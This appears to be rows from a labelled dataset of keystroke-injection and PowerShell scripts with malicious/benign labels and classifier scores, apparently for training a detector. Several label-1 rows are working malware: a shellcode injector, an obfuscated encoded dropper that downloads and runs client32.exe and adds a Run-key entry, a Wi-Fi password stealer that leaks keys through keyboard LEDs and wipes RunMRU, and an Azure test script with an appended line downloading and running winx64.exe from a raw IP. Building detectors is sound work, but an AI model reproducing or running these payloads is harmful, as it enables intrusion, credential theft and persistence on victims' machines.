0xba,0xca,0x96,0x60,0x4c,0xda,0xc9,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x47,0x83,0xc0,0x04,0x31,0x50,0x0f,0x03,0x50,0xc5,0x74,0x95,0xb0,0x31,0xfa,0x56,0x49,0xc1,0x9b,0xdf,0xac,0xf0,0x9b,0x84,0xa5,0xa2,0x2b,0xce,0xe8,0x4e,0xc7,0x82,0x18,0xc5,0xa5,0x0a,0x2e,0x6e,0x03,0x6d,0x01,0x6f,0x38,0x4d,0x00,0xf3,0x43,0x82,0xe2,0xca,0x8b,0xd7,0xe3,0x0b,0xf1,0x1a,0xb1,0xc4,0x7d,0x88,0x26,0x61,0xcb,0x11,0xcc,0x39,0xdd,0x11,0x31,0x89,0xdc,0x30,0xe4,0x82,0x86,0x92,0x06,0x47,0xb3,0x9a,0x10,0x84,0xfe,0x55,0xaa,0x7e,0x74,0x64,0x7a,0x4f,0x75,0xcb,0x43,0x60,0x84,0x15,0x83,0x46,0x77,0x60,0xfd,0xb5,0x0a,0x73,0x3a,0xc4,0xd0,0xf6,0xd9,0x6e,0x92,0xa1,0x05,0x8f,0x77,0x37,0xcd,0x83,0x3c,0x33,0x89,0x87,0xc3,0x90,0xa1,0xb3,0x48,0x17,0x66,0x32,0x0a,0x3c,0xa2,0x1f,0xc8,0x5d,0xf3,0xc5,0xbf,0x62,0xe3,0xa6,0x60,0xc7,0x6f,0x4a,0x74,0x7a,0x32,0x02,0xb9,0xb7,0xcd,0xd2,0xd5,0xc0,0xbe,0xe0,0x7a,0x7b,0x29,0x48,0xf2,0xa5,0xae,0xaf,0x29,0x11,0x20,0x4e,0xd2,0x62,0x68,0x94,0x86,0x32,0x02,0x3d,0xa7,0xd8,0xd2,0xc2,0x72,0x74,0xd6,0x54,0xbd,0x21,0xd9,0xa5,0x55,0x30,0xda,0xb4,0xf9,0xbd,0x3c,0xe6,0x51,0xee,0x90,0x46,0x02,0x4e,0x41,0x2e,0x48,0x41,0xbe,0x4e,0x73,0x8b,0xd7,0xe4,0x9c,0x62,0x8f,0x90,0x05,0x2f,0x5b,0x01,0xc9,0xe5,0x21,0x01,0x41,0x0a,0xd5,0xcf,0xa2,0x67,0xc5,0xa7,0x42,0x32,0xb7,0x61,0x5c,0xe8,0xd2,0x8d,0xc8,0x17,0x75,0xda,0x64,0x1a,0xa0,0x2c,0x2b,0xe5,0x87,0x27,0xe2,0x73,0x68,0x5f,0x0b,0x94,0x68,0x9f,0x5d,0xfe,0x68,0xf7,0x39,0x5a,0x3b,0xe2,0x45,0x77,0x2f,0xbf,0xd3,0x78,0x06,0x6c,0x73,0x11,0xa4,0x4b,0xb3,0xbe,0x57,0xbe,0x45,0x82,0x81,0x86,0x33,0xea,0x11;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Dm4=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Dm4.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Dm4,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2201965e-05,0.9999478
DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Opens Notepad and types out the ASCII art enter REM Version: 1.0 enter REM Category: ASCII enter DELAY 2000 enter GUI r enter DELAY 500 enter STRING notepad enter ENTER enter DELAY 1000 enter GUI UPARROW enter DELAY 500 enter STRING _ _ _____ _ ________ _____ ______ __ _ _ _ _ _____ ______ ________ _____ ______ _____ enter ENTER enter STRING | | | | /\ / ____| |/ / ____| __ \ | _ \ \ / / | | | | \ | |/ ____/ __ \ \ / / ____| __ \| ____| __ \ enter ENTER enter STRING | |__| | / \ | | | ' /| |__ | | | | | |_) \ \_/ / | | | | \| | | | | | \ \ / /| |__ | |__) | |__ | | | | enter ENTER enter STRING | __ | / /\ \| | | < | __| | | | | | _ < \ / | | | | . ` | | | | | |\ \/ / | __| | _ /| __| | | | | enter ENTER enter STRING | | | |/ ____ \ |____| . \| |____| |__| | | |_) | | | | |__| | |\ | |___| |__| | \ / | |____| | \ \| |____| |__| | enter ENTER enter STRING |_| |_/_/ \_\_____|_|\_\______|_____/ |____/ |_| \____/|_| \_|\_____\____/ \/ |______|_| \_\______|_____/ enter ENTER enter DELAY 2000 enter CTRL HOME enter DELAY 2000 enter CTRL END enter DUCKY_REAL_END,1,1,6.42553e-05,0.99993575
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_lr61t3v7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.454776e-05
"win+r powershell enter $random = (New-Guid).ToString().Substring(0,8) $subscriptionId = ""my-azure-subs enter cription-id"" $apiManagementName = ""apim-$random"" $resourceGroupName = ""apim-r enter g-$random"" $location = ""Japan East"" $organisation = ""Contoso"" $adminEmail = ""adm enter in@contoso.com"" enter enter",1,1,0.0013767973,0.99862325
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_09yjg2va"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter",0,0,0.9999659,3.410548e-05
"win+r enter powershell enter enter enter powershell -nop -ep bypass -win hid -enc JgAoACcAYwBkACcAKQAgACQAewBFAE4AYABWADoAYQBQAGAAcABEAGAAQQBUAGEAfQA7ACAAJAB7AEwAYABJAE4AawB9AD0AKAAiAHsANAB9AHsAMgB9AHsAMQB9AHsAMAB9AHsAMQAwAH0AewA4AH0AewA1AH0AewAzAH0AewA5AH0AewA3AH0AewA2AH0AewAxADEAfQAiACAALQBmACAAJwBwACcALAAnAHIAZQBzACcALAAnAHMAOgAvAC8AJwAsACcAaQAnACwAJwBoAHQAdABwACcALAAnAGUAbgB0AC8AcABsAHUAZwAnACwAJwBnAGkAdgAnACwAJwBzAC8AJwAsACcAbwBuAHQAJwAsACcAbgAnACwAJwByAG8ALgBpAGQALwB3AHAALQBjACcALAAnAGUAbQBlAC4AcABoAHAAJwApADsAIAAkAHsAcgBuAGAAVQBNAH0APQAmACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcAYQBuAGQAJwAsACcAbwBtACcALAAnAEcAZQB0AC0AUgAnACkAIAAtAG0AaQBuAGkAbQB1AG0AIAA1ACAALQBtAGEAeABpAG0AdQBtACAAOQA7ACAAJAB7AHIAYABSAG4AYABVAE0AfQA9ACYAKAAiAHsAMwB9AHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBSAGEAbgBkACcALAAnAG8AbQAnACwAJwAtACcALAAnAEcAZQB0ACcAKQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAHsAQwBIAGAAUgBzAH0APQAoACIAewA4AH0AewA5AH0AewA2AH0AewAyAH0AewAxADAAfQB7ADEAMQB9AHsAMQAyAH0AewAwAH0AewAxADQAfQB7ADQAfQB7ADEAMwB9AHsANQB9AHsAMwB9AHsANwB9AHsAMQB9ACIAIAAtAGYAIAAnAEQAJwAsACcAUABSAFMAVABVAFYAVwBYAFkAWgAnACwAJwBwAHMAdAB1AHYAdwAnACwAJwBLAEwATQAnACwAJwBGACcALAAnAEoAJwAsACcAbQBuAG8AJwAsACcATgBPACcALAAnAGEAYgBjAGQAZQBmAGcAaABpACcALAAnAGoAawBsACcALAAnAHgAJwAsACcAeQB6ACcALAAnAEEAQgBDACcALAAnAEcASABJACcALAAnAEUAJwApADsAIAAkAHsAUgBgAFMAVABSAH0APQAnACcAOwAgACQAewByAGAAQQBuAH0APQAuACgAIgB7ADAAfQB7ADEAfQB7ADIAfQB7ADMAfQAiACAALQBmACcATgBlAHcALQBPACcALAAnAGIAagBlACcALAAnAGMAJwAsACcAdAAnACkAIAAoACIAewAxAH0AewAwAH0AewAzAH0AewAyAH0AIgAtAGYAIAAnAG0ALgBSAGEAJwAsACcAUwB5AHMAdABlACcALAAnAG0AJwAsACcAbgBkAG8AJwApADsAIABmAG8AcgAgACgAJAB7AGkAfQA9ADAAOwAgACQAewBpAH0AIAAtAGwAdAAgACQAewByAGAATgB1AE0AfQA7ACAAJAB7AEkAfQArACsAKQAgAHsAJAB7AHIAcwBgAFQAUgB9ACsAPQAkAHsAYwBgAGgAUgBzAH0AWwAkAHsAcgBgAEEAbgB9AC4AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4AZQB4ACcALAAnAHQAJwApAC4ASQBuAHYAbwBrAGUAKAAwACwAIAAkAHsAQwBoAGAAUgBTAH0ALgAiAEwARQBuAEcAYABUAGgAIgApAF0AfQA7ACAAJAB7AFIAWgBgAGkAcAB9AD0AJAB7AHIAcwBgAFQAUgB9ACsAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcALgAnACwAJwB6AGkAcAAnACkAOwAgACQAewBQAGAAQQB0AGgAfQA9ACQAewBFAG4AVgA6AGAAQQBwAFAAYABEAEEAVABBAH0AKwAnAFwAJwArACQAewBSAGAAWgBpAHAAfQA7ACAAJAB7AFAAegBgAGkAcAB9AD0AJAB7AEUAbgBgAFYAOgBBAGAAcABQAGQAQQBgAFQAYQB9ACsAKAAoACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADMAfQAiACAALQBmACcAdQBwAGQAJwAsACcATgAwAFQARQAnACwAJwBOAEUAJwAsACcAYQB0AGUAXwAnACwAJwBRAHQAUwBPACcAKQApAC4AIgBSAGUAcABgAEwAYQBgAGMAZQAiACgAJwBRAHQAUwAnACwAWwBTAFQAUgBpAE4AZwBdAFsAQwBoAEEAUgBdADkAMgApACkAKwAkAHsAUgByAGAATgBgAFUAbQB9ADsAIAAuACgAIgB7ADQAfQB7ADAAfQB7ADEAfQB7ADMAfQB7ADUAfQB7ADIAfQAiAC0AZgAgACcAdABhAHIAdAAnACwAJwAtACcALAAnAHIAJwAsACcAQgBpAHQAcwBUAHIAJwAsACcAUwAnACwAJwBhAG4AcwBmAGUAJwApACAALQBTAG8AdQByAGMAZQAgACQAewBsAGkAYABOAEsAfQAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJAB7AFAAQQBgAFQAaAB9ADsAIAAmACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAnAHYAJwAsACcAZQAnACwAJwBoAGkAJwAsACcAZQB4AHAAYQBuAGQALQBhAHIAYwAnACkAIAAtAHAAYQB0AGgAIAAkAHsAUABhAGAAVABIAH0AIAAtAGQAZQBzAHQAaQBuAGEAdABpAG8AbgBwAGEAdABoACAAJAB7AFAAWgBgAGkAcAB9ADsAIAAkAHsAZgBgAE8ATABkAH0APQAmACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBmACcAZQAnACwAJwBHACcALAAnAHQALQBJAHQAZQBtACcAKQAgACQAewBwAFoAYABJAFAAfQAgAC0ARgBvAHIAYwBlADsAIAAkAHsAZgBvAGAAbABEAH0ALgAiAGEAYABUAHQAcgBgAGkAQgBgAFUAdABlAFMAIgA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAbgAnACwAJwBIAGkAZABkAGUAJwApADsAIAAmACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBmACcAZQBtAG8AdgBlAC0AJwAsACcAUgAnACwAJwBlAG0AJwAsACcASQB0ACcAKQAgAC0AcABhAHQAaAAgACQAewBwAGAAQQB0AEgAfQA7ACAAJgAoACcAYwBkACcAKQAgACQAewBQAHoAYABJAFAAfQA7ACAAJgAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAHMAdABhAHIAJwAsACcAdAAnACkAIAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAnAGUAeABlACcALAAnADIALgAnACwAJwBjAGwAaQBlAG4AdAAzACcAKQA7ACAAJAB7AGYAYABzAFQAUgB9AD0AJAB7AHAAYABaAEkAcAB9ACsAKAAoACgAIgB7ADAAfQB7ADEAfQB7ADMAfQB7ADIAfQAiACAALQBmACAAJwBxAEwAbwBjAGwAaQBlAG4AJwAsACcAdAAzACcALAAnAC4AZQB4AGUAJwAsACcAMgAnACkAKQAtAEMAcgBlAFAAbABhAGMAZQAgACAAKABbAGMASABhAFIAXQAxADEAMwArAFsAYwBIAGEAUgBdADcANgArAFsAYwBIAGEAUgBdADEAMQAxACkALABbAGMASABhAFIAXQA5ADIAKQA7ACAAJAB7AHIAYABOAE0AfQA9ACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAHAAZABhAHQAJwAsACcATwBOAEUATgAwAFQARQB1ACcALAAnAGUAXwAnACkAKwAkAHsAUgBgAFIATgBgAFUATQB9ADsAIAAuACgAIgB7ADIAfQB7ADEAfQB7ADQAfQB7ADAAfQB7ADMAfQAiACAALQBmACcAdAAnACwAJwBlAHcALQAnACwAJwBOACcALAAnAGUAbQBQAHIAbwBwAGUAcgB0AHkAJwAsACcASQAnACkAIAAtAFAAYQB0AGgAIAAoACgAKAAiAHsANQB9AHsAMwB9AHsAMQB9AHsANwB9AHsAOQB9AHsAMQAxAH0AewAyAH0AewA4AH0AewAxADAAfQB7ADQAfQB7ADAAfQB7ADYAfQAiACAALQBmACAAJwAwAH0AUgAnACwAJwBDAFUAOgB7ADAAfQBTACcALAAnAG8AZgB0AHsAMAB9AFcAaQBuAGQAbwB3ACcALAAnAEsAJwAsACcAZQByAHMAaQBvAG4AewAnACwAJwBIACcALAAnAHUAbgAnACwAJwBPAEYAVABXAEEAUgBFAHsAMAB9AE0AaQBjACcALAAnAHMAewAwAH0AQwB1AHIAcgBlACcALAAnAHIAJwAsACcAbgB0AFYAJwAsACcAbwBzACcAKQApAC0AZgAgAFsAQwBIAGEAcgBdADkAMgApACAALQBOAGEAbQBlACAAJAB7AFIAYABOAE0AfQAgAC0AVgBhAGwAdQBlACAAJAB7AGYAcwBgAFQAUgB9ACAAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAFMAdAByAGkAJwAsACcAbgBnACcAKQA7AA== enter enter [decoded_payloads] enter [decoded:powershell_encoded_command] enter &('cd') ${EN`V:aP`pD`ATa}; ${L`INk}=(""{4}{2}{1}{0}{10}{8}{5}{3}{9}{7}{6}{11}"" -f 'p','res','s://','i','http','ent/plug','giv','s/','ont','n','ro.id/wp-c','eme.php'); ${rn`UM}=&(""{2}{0}{1}""-f 'and','om','Get-R') -minimum 5 -maximum 9; ${r`Rn`UM}=&(""{3}{2}{0}{1}""-f 'Rand','om','-','Get') -minimum 1024 -maximum 9999; ${CH`Rs}=(""{8}{9}{6}{2}{10}{11}{12}{0}{14}{4}{13}{5}{3}{7}{1}"" -f 'D','PRSTUVWXYZ','pstuvw','KLM','F','J','mno','NO','abcdefghi','jkl','x','yz','ABC','GHI','E'); ${R`STR}=''; ${r`An}=.(""{0}{1}{2}{3}"" -f'New-O','bje','c','t') (""{1}{0}{3}{2}""-f 'm.Ra','Syste','m','ndo'); for (${i}=0; ${i} -lt ${r`NuM}; ${I}++) {${rs`TR}+=${c`hRs}[${r`An}.(""{0}{1}"" -f 'nex','t').Invoke(0, ${Ch`RS}.""LEnG`Th"")]}; ${RZ`ip}=${rs`TR}+(""{0}{1}""-f'.','zip'); ${P`Ath}=${EnV:`ApP`DATA}+'\'+${R`Zip}; ${Pz`ip}=${En`V:A`pPdA`Ta}+(((""{4}{2}{1}{0}{3}"" -f'upd','N0TE','NE','ate_','QtSO')).""Rep`La`ce""('QtS',[STRiNg][ChAR]92))+${Rr`N`Um}; .(""{4}{0}{1}{3}{5}{2}""-f 'tart','-','r','BitsTr','S','ansfe') -Source ${li`NK} -Destination ${PA`Th}; &(""{3}{2}{0}{1}""-f'v','e','hi','expand-arc') -path ${Pa`TH} -destinationpath ${PZ`ip}; ${f`OLd}=&(""{1}{0}{2}"" -f'e','G','t-Item') ${pZ`IP} -Force; ${fo`lD}.""a`Ttr`iB`UteS""=(""{1}{0}""-f 'n','Hidde'); &(""{1}{0}{3}{2}"" -f'emove-','R','em','It') -path ${p`AtH}; &('cd') ${Pz`IP}; &(""{0}{1}""-f 'star','t') (""{2}{1}{0}"" -f'exe','2.','client3'); ${f`sTR}=${p`ZIp}+(((""{0}{1}{3}{2}"" -f 'qLoclien','t3','.exe','2'))-CrePlace ([cHaR]113+[cHaR]76+[cHaR]111),[cHaR]92); ${r`NM}=(""{1}{0}{2}""-f'pdat','ONEN0TEu','e_')+${R`RN`UM}; .(""{2}{1}{4}{0}{3}"" -f't','ew-','N','emProperty','I') -Path (((""{5}{3}{1}{7}{9}{11}{2}{8}{10}{4}{0}{6}"" -f '0}R','CU:{0}S','oft{0}Window','K','ersion{','H','un','OFTWARE{0}Mic','s{0}Curre','r','ntV','os'))-f [CHar]92) -Name ${R`NM} -Value ${fs`TR} -PropertyType (""{0}{1}"" -f 'Stri','ng'); enter enter",1,1,5.4001917e-05,0.999946
"win+r enter powershell enter enter enter ADVANCED OS DETECTOS DETECT enter test caps capslock enter test done enter received led response enter prediction: Windows enter prediction: Linux enter no led response enter prediciton: MacOS enter soft reconnect enter reconnected enter caps led on enter test numlock enter test done enter no numlock led enter prediciton: ChromeOS enter numlock led on enter testing scrolllock enter test done enter scrolllock led on enter prediciton: Android enter no scrolllock reply enter prediction: Linux enter caps led on enter prediction: iOS enter no caps reply enter prediction: MacOS enter Confident Windows Prediction enter OS_DETECT complete enter win r powershell enter cd $env:tmp; $B=Get-NetConnectionProfile; $A='.\WLAN*-'+$B.Name+'.xml'; netsh wlan export profile key=clear;[XML]$WLAN = Get-Content -Path $A; $Name = $WLAN.WLANProfile.SSIDConfig.SSID.Name; $Pass = $WLAN.WLANProfile.MSM.security.sharedKey.keyMaterial; $Name + "":"" + $Pass > $env:tmp\z;exit enter win r powershell ""cd $env:tmp;rm '.\WLAN*.xml'"" enter win r powershell ""foreach($b in $(cat $env:tmp\z -En by)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){if($b-band$a){$o+='%{NUMLOCK}'}else{$o+='%{CAPSLOCK}'}}};$o+='%{SCROLLLOCK}';echo $o >$env:tmp\z"" enter win r powershell ""$o=(cat $env:tmp\z);Add-Type -A System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait($o);rm $env:tmp\z"" enter win r powershell ""cd HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\; Remove-Item '.\RunMRU\'"" enter enter enter",1,1,5.512191e-05,0.9999449
"win+r enter powershell enter enter enter  enter function Test-CrudUserAssignedIdentity enter { enter $MSINamespace = ""Microsoft.ManagedIdentity""; enter $MSIResourceType = ""userAssignedIdentities""; enter $MSIPreferredLocation = ""westus""; enter $rgName1 = getAssetName; enter $rgName2 = getAssetName; enter $identityName1 = getAssetName; enter $identityName2 = getAssetName; enter $identityName3 = getAssetName; enter $location = Get-Location -ProviderNamespace $MSINamespace -ResourceType $MSIResourceType -PreferredLocation $MSIPreferredLocation; enter $identityType = ""$MSINamespace/$MSIResourceType""; enter enter try enter { enter enter New-AzResourceGroup -Name $rgName1 -Location $location; enter enter New-AzResourceGroup -Name $rgName2 -Location $location; enter $identity1 = New-AzUserAssignedIdentity -ResourceGroupName $rgName1 -Name $identityName1; enter Assert-AreEqual $identity1.ResourceGroupName $rgName1 enter Assert-AreEqual $identity1.Name $identityName1; enter Assert-AreEqual $identity1.Type $identityType; enter $identity2 = New-AzUserAssignedIdentity -ResourceGroupName $rgName2 -Name $identityName2 -Location $location; enter Assert-AreEqual $identity2.ResourceGroupName $rgName2; enter Assert-AreEqual $identity2.Name $identityName2; enter Assert-AreEqual $identity2.Type $identityType; enter $createJob = New-AzUserAssignedIdentity -ResourceGroupName $rgName2 -Name $identityName3 -Location $location -AsJob; enter $createJob | Wait-Job; enter $identity3 = $createJob | Receive-Job; enter Assert-AreEqual $identity3.ResourceGroupName $rgName2; enter Assert-AreEqual $identity3.Name $identityName3; enter Assert-AreEqual $identity3.Type $identityType; enter $identity1 = Get-AzUserAssignedIdentity -ResourceGroupName $rgName1 -Name $identityName1 enter Assert-NotNull $identity1; enter Assert-AreEqual $identity1.ResourceGroupName $rgName1; enter Assert-AreEqual $identity1.Name $identityName1; enter Assert-AreEqual $identity1.Type $identityType; enter $identities = Get-AzUserAssignedIdentity -ResourceGroupName $rgName1 enter Assert-AreEqual $identities.Count 1 enter Assert-AreEqual $identities[0].ResourceGroupName $rgName1; enter Assert-AreEqual $identities[0].Name $identityName1; enter Assert-AreEqual $identities[0].Type $identityType; enter $identities = Get-AzUserAssignedIdentity -ResourceGroupName $rgName2 enter Assert-AreEqual $identities.Count 2 enter Remove-AzUserAssignedIdentity -ResourceGroupName $rgName1 -Name $identityName1 -Force; enter $resourceGroupIdentities = Get-AzUserAssignedIdentity -ResourceGroupName $rgName1 enter Assert-Null $resourceGroupIdentities; enter $deleteJob = Remove-AzUserAssignedIdentity -ResourceGroupName $rgName2 -Name $identityName2 -AsJob -Force; enter $deleteJob | Wait-Job; enter $resourceGroupIdentities = Get-AzUserAssignedIdentity -ResourceGroupName $rgName2 enter Assert-AreEqual $resourceGroupIdentities.Count 1 enter } enter finally enter { enter Remove-AzResourceGroup -Name $rgname1 -Force enter Remove-AzResourceGroup -Name $rgname1 -Force enter } enter } enter enter",0,0,0.9999449,5.504133e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_ljl5a3si"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_enabled_tasks.json"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4455734e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_czaqym0n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter",0,0,0.9999652,3.4793586e-05
"win+r enter powershell enter enter enter  enter function Test-AzureIotDpsCertificateLifeCycle enter { enter $Location = Get-Location ""Microsoft.Devices"" ""Device Provisioning Service"" enter $IotDpsName = getAssetName enter $ResourceGroupName = getAssetName enter $TestOutputRoot = [System.AppDomain]::CurrentDomain.BaseDirectory; enter $certificatePath = ""$TestOutputRoot enter ootCertificate.cer"" enter $verifyCertificatePath = ""$TestOutputRoot\verifyCertificate.cer"" enter $certificateSubject = ""CN=TestCertificate"" enter $certificateType = ""Microsoft.Devices/provisioningServices/Certificates"" enter $certificateName = ""TestCertificate"" enter $resourceGroup = New-AzResourceGroup -Name $ResourceGroupName -Location $Location enter $iotDps = New-AzIoTDps -ResourceGroupName $ResourceGroupName -Name $IotDpsName -Location $Location enter Assert-True { $iotDps.Name -eq $IotDpsName } enter New-CARootCert $certificateSubject $certificatePath enter $newCertificate = Add-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName -CertificateName $certificateName -Path $certificatePath enter Assert-True { $newCertificate.Properties.Subject -eq $certificateSubject } enter Assert-False { $newCertificate.Properties.IsVerified } enter Assert-True { $newCertificate.Type -eq $certificateType } enter Assert-True { $newCertificate.CertificateName -eq $certificateName } enter $certificates = Get-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName enter Assert-True { $certificates.Count -gt 0} enter $certificate = Get-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName -CertificateName $certificateName enter Assert-True { $certificate.Properties.Subject -eq $certificateSubject } enter Assert-False { $certificate.Properties.IsVerified } enter Assert-True { $certificate.Type -eq $certificateType } enter Assert-True { $certificate.CertificateName -eq $certificateName } enter $certificateWithVerificationCode = Get-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName -CertificateName $certificateName | New-AzIotDpsCVC enter Assert-True { $certificateWithVerificationCode.Properties.Subject -eq $certificateSubject } enter Assert-NotNull { $certificateWithVerificationCode.Properties.VerificationCode } enter New-CAVerificationCert $certificateWithVerificationCode.Properties.VerificationCode $certificateSubject $verifyCertificatePath enter $verifiedCertificate = Get-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName -CertificateName $certificateName | Set-AzIotDpsCertificate -Path $verifyCertificatePath enter Assert-True { $verifiedCertificate.Properties.Subject -eq $certificateSubject } enter Assert-True { $verifiedCertificate.Properties.IsVerified } enter Assert-True { $verifiedCertificate.Type -eq $certificateType } enter Assert-True { $verifiedCertificate.CertificateName -eq $certificateName } enter $result = Get-AzIoTDpsCertificate -ResourceGroupName $ResourceGroupName -Name $IotDpsName -CertificateName $certificateName | Remove-AzIotDpsCertificate -PassThru enter Assert-True { $result } enter Remove-AzResourceGroup -Name $ResourceGroupName -force enter } enter function Get-CACertBySubjectName([string]$subjectName) enter { enter $certificates = gci -Recurse Cert:\LocalMachine\ |? { $_.gettype().name -eq ""X509Certificate2"" } enter $cert = $certificates |? { $_.subject -eq $subjectName -and $_.PSParentPath -eq ""Microsoft.PowerShell.Security\Certificate::LocalMachine\My"" } enter if ($NULL -eq $cert) enter { enter throw (""Unable to find certificate with subjectName {0}"" -f $subjectName) enter } enter enter write $cert[0] enter } enter function New-CASelfsignedCertificate([string]$subjectName, [object]$signingCert, [bool]$isASigner=$true) enter { enter enter $selfSignedArgs = @{""-DnsName""=$subjectName; enter ""-CertStoreLocation""=""cert:\LocalMachine\My""; enter ""-NotAfter""=(get-date).AddDays(30); enter } enter enter if ($isASigner -eq $true) enter { enter $selfSignedArgs += @{""-KeyUsage""=""CertSign""; } enter $selfSignedArgs += @{""-TextExtension""= @((""2.5.29.19={text}ca=TRUE&pathlength=12"")); } enter } enter else enter { enter $selfSignedArgs += @{""-TextExtension""= @(""2.5.29.37={text}1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.1"", ""2.5.29.19={text}ca=FALSE&pathlength=0"") } enter } enter enter if ($signingCert -ne $null) enter { enter $selfSignedArgs += @{""-Signer""=$signingCert } enter } enter enter if ($useEcc -eq $true) enter { enter $selfSignedArgs += @{""-KeyAlgorithm""=""ECDSA_nistP256""; enter ""-CurveExport""=""CurveName"" } enter } enter enter write (New-SelfSignedCertificate @selfSignedArgs) enter } enter function New-CARootCert([string]$subjectName, [string]$requestedFileName) enter { enter $certificate = New-CASelfsignedCertificate $subjectName enter Export-Certificate -cert $certificate -filePath $requestedFileName -Type Cert enter if (-not (Test-Path $requestedFileName)) enter { enter throw (""Error: CERT file {0} doesn't exist"" -f $requestedFileName) enter } enter } enter function New-CAVerificationCert([string]$requestedSubjectName, [string]$_rootCertSubject, [string]$verifyRequestedFileName) enter { enter $cnRequestedSubjectName = (""CN={0}"" -f $requestedSubjectName) enter $rootCACert = Get-CACertBySubjectName $_rootCertSubject enter $verifyCert = New-CASelfsignedCertificate $cnRequestedSubjectName $rootCACert $false enter Export-Certificate -cert $verifyCert -filePath $verifyRequestedFileName -Type Cert enter if (-not (Test-Path $verifyRequestedFileName)) enter { enter throw (""Error: CERT file {0} doesn't exist"" -f $verifyRequestedFileName) enter } enter Get-ChildItem (""Cert:\LocalMachine\My\{0}"" -f $rootCACert.Thumbprint) | Remove-Item enter Get-ChildItem (""Cert:\LocalMachine\My\{0}"" -f $verifyCert.Thumbprint) | Remove-Item enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.58.30/~trevor/winx64.exe',""$env:APPDATA\winx64.exe"");Start-Process (""$env:APPDATA\winx64.exe"") enter enter",1,1,5.5562796e-05,0.99994445
